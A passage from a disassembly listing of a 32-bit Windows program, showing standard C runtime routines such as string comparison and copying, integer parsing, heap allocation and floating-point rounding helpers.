
loc_4158D8:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158EC:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4155D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415910	proc near		; CODE XREF: sub_4010B2+FCp
					; sub_4010B2+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41595C


loc_415920:				; CODE XREF: sub_415910+3Cj
					; sub_415910+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+1]
		jnz	short loc_415954
		or	ah, ah
		jz	short loc_415950
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+3]
		jnz	short loc_415954
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_415920
		mov	edi, edi


loc_415950:				; CODE XREF: sub_415910+18j
					; sub_415910+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415954:				; CODE XREF: sub_415910+14j
					; sub_415910+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41595C:				; CODE XREF: sub_415910+Ej
		test	edx, 1
		jz	short loc_415978
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_415954
		inc	ecx
		or	al, al
		jz	short loc_415950
		test	edx, 2
		jz	short loc_415920


loc_415978:				; CODE XREF: sub_415910+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_415954
		or	al, al
		jz	short loc_415950
		cmp	ah, [ecx+1]
		jnz	short loc_415954
		or	ah, ah
		jz	short loc_415950
		add	ecx, 2
		jmp	short loc_415920
sub_415910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4159A0	proc near		; CODE XREF: sub_4010B2+19Ep
					; sub_4018CA+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_4159B9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4159B9:				; CODE XREF: sub_4159A0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_4159A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159D4	proc near		; CODE XREF: sub_415A5F+4p
					; sub_41E162+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_4159DC:				; CODE XREF: sub_4159D4+34j
		cmp	dword_437F7C, 1
		jle	short loc_4159F4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_415A03
; ---------------------------------------------------------------------------


loc_4159F4:				; CODE XREF: sub_4159D4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_437D70
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_415A03:				; CODE XREF: sub_4159D4+1Ej
		test	eax, eax
		jz	short loc_415A0A
		inc	edi
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_415A0A:				; CODE XREF: sub_4159D4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_415A1A
		cmp	esi, 2Bh
		jnz	short loc_415A1E


loc_415A1A:				; CODE XREF: sub_4159D4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_415A1E:				; CODE XREF: sub_4159D4+44j
		xor	ebx, ebx


loc_415A20:				; CODE XREF: sub_4159D4+7Bj
		cmp	dword_437F7C, 1
		jle	short loc_415A35
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_415A40
; ---------------------------------------------------------------------------


loc_415A35:				; CODE XREF: sub_4159D4+53j
		mov	eax, off_437D70
		mov	al, [eax+esi*2]
		and	eax, 4


loc_415A40:				; CODE XREF: sub_4159D4+5Fj
		test	eax, eax
		jz	short loc_415A51
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_415A20
; ---------------------------------------------------------------------------


loc_415A51:				; CODE XREF: sub_4159D4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_415A5A
		neg	eax


loc_415A5A:				; CODE XREF: sub_4159D4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4159D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A5F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4159D4
		pop	ecx
		retn
sub_415A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A6A	proc near		; CODE XREF: sub_401447+318p
					; sub_401BD6+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415AA9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415AB6
; ---------------------------------------------------------------------------


loc_415AA9:				; CODE XREF: sub_415A6A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx


loc_415AB6:				; CODE XREF: sub_415A6A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415A6A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415AC0	proc near		; CODE XREF: sub_401BD6+2D8p
					; sub_401BD6+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_415B3A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_415B27


loc_415AD8:				; CODE XREF: sub_415AC0+52j
					; sub_415AC0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_415AFA
		test	al, al
		jz	short loc_415AF4


loc_415AE9:				; CODE XREF: sub_415AC0+32j
		mov	al, [esi]
		inc	esi


loc_415AEC:				; CODE XREF: sub_415AC0+3Fj
		cmp	al, dl
		jz	short loc_415AFA
		test	al, al
		jnz	short loc_415AE9


loc_415AF4:				; CODE XREF: sub_415AC0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415AFA:				; CODE XREF: sub_415AC0+23j
					; sub_415AC0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_415AEC
		lea	edi, [esi-1]


loc_415B04:				; CODE XREF: sub_415AC0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_415B33
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_415AD8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_415B33
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_415B04
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B27:				; CODE XREF: sub_415AC0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_417086
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415AC0+49j
					; sub_415AC0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415B3A:				; CODE XREF: sub_415AC0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_415AC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B40	proc near		; CODE XREF: sub_40211A+94p
					; sub_405A89+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_415B55
		or	eax, 0FFFFFFFFh
		jmp	short loc_415B8F
; ---------------------------------------------------------------------------


loc_415B55:				; CODE XREF: sub_415B40+Ej
		test	al, 83h
		jz	short loc_415B8D
		push	esi
		call	sub_4186E4
		push	esi
		mov	edi, eax
		call	sub_41867E
		push	dword ptr [esi+10h]
		call	sub_4185CB
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_415B7B
		or	edi, 0FFFFFFFFh
		jmp	short loc_415B8D
; ---------------------------------------------------------------------------


loc_415B7B:				; CODE XREF: sub_415B40+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_415B8D
		push	eax
		call	sub_415E3D
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_415B8D:				; CODE XREF: sub_415B40+17j
					; sub_415B40+39j ...
		mov	eax, edi


loc_415B8F:				; CODE XREF: sub_415B40+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_415B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B96	proc near		; CODE XREF: sub_40211A+8Ep
					; sub_40CE55+2A01p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4187B6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417D4C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_418843
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415B96	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BC8	proc near		; CODE XREF: sub_415BE8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_4189F0
		test	eax, eax
		jnz	short loc_415BD2
		retn
; ---------------------------------------------------------------------------


loc_415BD2:				; CODE XREF: sub_415BC8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418880
		add	esp, 10h
		retn
sub_415BC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BE8	proc near		; CODE XREF: sub_40211A+54p
					; sub_405A89+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_415BC8
		add	esp, 0Ch
		retn
sub_415BE8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415C00	proc near		; CODE XREF: sub_405B23+2BFp
					; sub_4099AA+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415C71
sub_415C00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415C10	proc near		; CODE XREF: sub_40211A+32p
					; sub_40211A+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_415C2C


loc_415C1D:				; CODE XREF: sub_415C10+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415C5F
		test	ecx, 3
		jnz	short loc_415C1D


loc_415C2C:				; CODE XREF: sub_415C10+Bj
					; sub_415C10+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C2C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415C6E
		test	ah, ah
		jz	short loc_415C69
		test	eax, 0FF0000h
		jz	short loc_415C64
		test	eax, 0FF000000h
		jz	short loc_415C5F
		jmp	short loc_415C2C
; ---------------------------------------------------------------------------


loc_415C5F:				; CODE XREF: sub_415C10+12j
					; sub_415C10+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------


loc_415C64:				; CODE XREF: sub_415C10+44j
		lea	edi, [ecx-2]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------


loc_415C69:				; CODE XREF: sub_415C10+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------


loc_415C6E:				; CODE XREF: sub_415C10+39j
		lea	edi, [ecx-4]


loc_415C71:				; CODE XREF: sub_415C00+5j
					; sub_415C10+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415C96


loc_415C7D:				; CODE XREF: sub_415C10+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415CE8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_415C7D
		jmp	short loc_415C96
; ---------------------------------------------------------------------------


loc_415C91:				; CODE XREF: sub_415C10+9Ej
					; sub_415C10+B8j
		mov	[edi], edx
		add	edi, 4


loc_415C96:				; CODE XREF: sub_415C10+6Bj
					; sub_415C10+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C91
		test	dl, dl
		jz	short loc_415CE8
		test	dh, dh
		jz	short loc_415CDF
		test	edx, 0FF0000h
		jz	short loc_415CD2
		test	edx, 0FF000000h
		jz	short loc_415CCA
		jmp	short loc_415C91
; ---------------------------------------------------------------------------


loc_415CCA:				; CODE XREF: sub_415C10+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CD2:				; CODE XREF: sub_415C10+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CDF:				; CODE XREF: sub_415C10+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CE8:				; CODE XREF: sub_415C10+72j
					; sub_415C10+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_415C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CF0	proc near		; CODE XREF: sub_4021FB+1A7p
					; sub_4021FB:loc_4023B5p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_415D10


loc_415CFC:				; CODE XREF: sub_415CF0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415D43
		test	ecx, 3
		jnz	short loc_415CFC
		add	eax, 0


loc_415D10:				; CODE XREF: sub_415CF0+Aj
					; sub_415CF0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415D10
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415D61
		test	ah, ah
		jz	short loc_415D57
		test	eax, 0FF0000h
		jz	short loc_415D4D
		test	eax, 0FF000000h
		jz	short loc_415D43
		jmp	short loc_415D10
; ---------------------------------------------------------------------------


loc_415D43:				; CODE XREF: sub_415CF0+11j
					; sub_415CF0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D4D:				; CODE XREF: sub_415CF0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D57:				; CODE XREF: sub_415CF0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D61:				; CODE XREF: sub_415CF0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_415CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415D70	proc near		; CODE XREF: sub_4024DC+8p
					; sub_402988+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_415D90


loc_415D7C:				; CODE XREF: sub_415D70+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_415D7C


loc_415D90:				; CODE XREF: sub_415D70+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_415D70	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D9F	proc near		; CODE XREF: sub_402FDD+7Ap
					; sub_402FDD+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_415DB3


loc_415DAB:				; CODE XREF: sub_415D9F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_415DAB


loc_415DB3:				; CODE XREF: sub_415D9F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_415DB8:				; CODE XREF: sub_415D9F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_415DB8
		pop	esi
		retn
sub_415D9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DC9	proc near		; CODE XREF: sub_403178+220p
					; sub_4033CB+C1p ...

arg_0		= dword	ptr  4

		push	dword_4694F4
		push	[esp+4+arg_0]
		call	sub_415DDB
		pop	ecx
		pop	ecx
		retn
sub_415DC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DDB	proc near		; CODE XREF: sub_415DC9+Ap
					; sub_4167C5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_415E04


loc_415DE2:				; CODE XREF: sub_415DDB+27j
		push	[esp+arg_0]
		call	sub_415E07
		test	eax, eax
		pop	ecx
		jnz	short locret_415E06
		cmp	[esp+arg_4], eax
		jz	short locret_415E06
		push	[esp+arg_0]
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jnz	short loc_415DE2


loc_415E04:				; CODE XREF: sub_415DDB+5j
		xor	eax, eax

locret_415E06:				; CODE XREF: sub_415DDB+13j
					; sub_415DDB+19j
		retn
sub_415DDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E07	proc near		; CODE XREF: sub_415DDB+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_437F8C
		ja	short loc_415E1F
		push	esi
		call	sub_418E53
		test	eax, eax
		pop	ecx
		jnz	short loc_415E3B


loc_415E1F:				; CODE XREF: sub_415E07+Bj
		test	esi, esi
		jnz	short loc_415E26
		push	1
		pop	esi


loc_415E26:				; CODE XREF: sub_415E07+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_46AB00
		call	dword_42114C	; RtlAllocateHeap


loc_415E3B:				; CODE XREF: sub_415E07+16j
		pop	esi
		retn
sub_415E07	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E3D	proc near		; CODE XREF: sub_4033CB+10Ep
					; sub_4033CB+116p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_415E6A
		push	esi
		call	sub_418AFD
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_415E5C
		push	eax
		call	sub_418B28
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E5C:				; CODE XREF: sub_415E3D+13j
		push	0
		push	dword_46AB00
		call	dword_421150	; RtlFreeHeap


loc_415E6A:				; CODE XREF: sub_415E3D+7j
		pop	esi
		retn
sub_415E3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415E6C(double)

sub_415E6C	proc near		; CODE XREF: sub_40465E+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437D30
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415EF2
		call	sub_419CEE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415ED5
		cmp	eax, 2
		jle	short loc_415EC7
		cmp	eax, 3
		jnz	short loc_415ED5
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_4195FE
		add	esp, 10h
		jmp	short loc_415F37
; ---------------------------------------------------------------------------


loc_415EC7:				; CODE XREF: sub_415E6C+3Fj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415F37
; ---------------------------------------------------------------------------


loc_415ED5:				; CODE XREF: sub_415E6C+3Aj
					; sub_415E6C+44j
		fld	[ebp+arg_0]
		fadd	dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_415F2F
; ---------------------------------------------------------------------------


loc_415EF2:				; CODE XREF: sub_415E6C+2Fj
		call	sub_419CB3
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415F15


loc_415F07:				; CODE XREF: sub_415E6C+ACj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415F37
; ---------------------------------------------------------------------------


loc_415F15:				; CODE XREF: sub_415E6C+99j
		test	bl, 20h
		jnz	short loc_415F07
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_415F2F:				; CODE XREF: sub_415E6C+84j
		call	sub_419651
		add	esp, 1Ch


loc_415F37:				; CODE XREF: sub_415E6C+59j
					; sub_415E6C+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415E6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F3B	proc near		; CODE XREF: sub_4177FA+9p
					; sub_419EEF+21p
					; DATA XREF: ...
		call	sub_415F53
		call	sub_419EEF
		mov	dword_469474, eax
		call	sub_419E9F
		fnclex
		retn
sub_415F3B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415F53	proc near		; CODE XREF: sub_415F3Bp
		mov	eax, offset sub_41A2DD
		mov	off_4380AC, offset sub_419F72
		mov	off_4380A8, eax
		mov	off_4380B0, offset sub_419FD8
		mov	off_4380B4, offset sub_419F18
		mov	off_4380B8, offset sub_419FC0
		mov	off_4380BC, eax
		retn
sub_415F53	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F8C	proc near		; CODE XREF: sub_40465E+1Bp
					; sub_40465E+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_415F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415FB3(double)

sub_415FB3	proc near		; CODE XREF: sub_4046AA+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_437D48
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_416039
		call	sub_419CEE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41601C
		cmp	eax, 2
		jle	short loc_41600E
		cmp	eax, 3
		jnz	short loc_41601C
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_4195FE
		add	esp, 10h
		jmp	short loc_41607E
; ---------------------------------------------------------------------------


loc_41600E:				; CODE XREF: sub_415FB3+3Fj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41607E
; ---------------------------------------------------------------------------


loc_41601C:				; CODE XREF: sub_415FB3+3Aj
					; sub_415FB3+44j
		fld	[ebp+arg_0]
		fadd	dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_416076
; ---------------------------------------------------------------------------


loc_416039:				; CODE XREF: sub_415FB3+2Fj
		call	sub_419CB3
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41605C


loc_41604E:				; CODE XREF: sub_415FB3+ACj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41607E
; ---------------------------------------------------------------------------


loc_41605C:				; CODE XREF: sub_415FB3+99j
		test	bl, 20h
		jnz	short loc_41604E
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_416076:				; CODE XREF: sub_415FB3+84j
		call	sub_419651
		add	esp, 1Ch


loc_41607E:				; CODE XREF: sub_415FB3+59j
					; sub_415FB3+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415FB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416082	proc near		; CODE XREF: sub_41A74E+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
